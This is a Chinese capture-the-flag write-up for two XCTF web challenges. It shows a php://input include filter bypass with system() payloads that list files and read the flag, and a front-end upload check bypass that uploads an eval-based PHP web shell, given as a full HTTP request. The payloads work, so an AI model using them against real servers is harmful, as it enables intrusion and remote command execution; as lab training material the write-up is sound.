zoukankan      html  css  js  c++  java
  • 攻防世界-wp

    web php include

    1.审计代码
    <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
       $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>

    用get方式输入page

    strstr(string,search,before_search)

    strstr() 函数搜索字符串在另一字符串中的第一次出现。

    str_replace(find,replace,string,count)

    str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写

    所以这里是对$page的值进行判断,如果存在php://,则消去

    2.利用漏洞

    因为str_replace()函数是区分大小写的,所以我们在输入php://的时候,可以转换为大写从而绕过

    构建$page=php://input,在bp中抓包

     

    <?php
     system("ls");
    ?>  

    可以显示所有的文件

    3.获取flag

    看到有很可疑的文件

    <?php
     system("cat fl4gisisish3r3.php");
    ?>

    就可以查看这个文件得到flag

    uploade1

    1.上传文件

    随便上传一个文件,有bp抓包,查看返回结果

    是一串js代码

    Array.prototype.contains = function (obj) {  
       var i = this.length;  
       while (i--) {  
           if (this[i] === obj) {  
               return true;  
          }  
      }  
       return false;  
    }  

    function check(){
    upfile = document.getElementById("upfile");
    submit = document.getElementById("submit");
    name = upfile.value;
    ext = name.replace(/^.+./,'');

    if(['jpg','png'].contains(ext)){
       submit.disabled = false;
    }else{
       submit.disabled = true;

       alert('请选择一张图片文件上传!');
    }


    }

    ext = name.replace(/^.+./,’’)删除文件的名称

    if([‘jpg’,‘png’].contains(ext)):检查后缀是否为jpg/png,如果不是就禁用按钮并弹窗报错

    因为过滤是在前端,所以可以通过bp来修改后缀名

    2.上传一句话代码
    POST /index.php HTTP/1.1
    Host: 111.198.29.45:31073
    User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://111.198.29.45:31073/
    Connection: close
    Content-Type: multipart/form-data; boundary=---------------------------313451057620810
    Content-Length: 221

    -----------------------------313451057620810
    Content-Disposition: form-data; name="upfile"; filename="php.php"
    Content-Type: image/jpeg

    <?php @eval($_POST['123']); ?>
    -----------------------------313451057620810--

    将文件名后缀改为.php

    然后构造一句话木马就行了

    3.用antsword连接

    在文件中发现有flag.php, 完成

  • 相关阅读:
    连接上三星C5,播放音乐断音
    连接上LG NEXUS4播放音乐无声音输出,关机再开机回连再播放OK
    连接上LG G5时,“连接”提示音能听到明显拖尾杂音
    WebRTC原生开发和混合开发优缺点分析对比
    Safari即将支持WebRTC
    WebRTC通话过程中如何避免其它进程音量下降
    WebRTC 中RTT实现方法
    开发Rtmp推流端开发库的几种选择方案
    WebRTC中OPUS编码相关设置和分析
    WebRTC手记之初探
  • 原文地址:https://www.cnblogs.com/zesiar0/p/12643105.html
Copyright © 2011-2022 走看看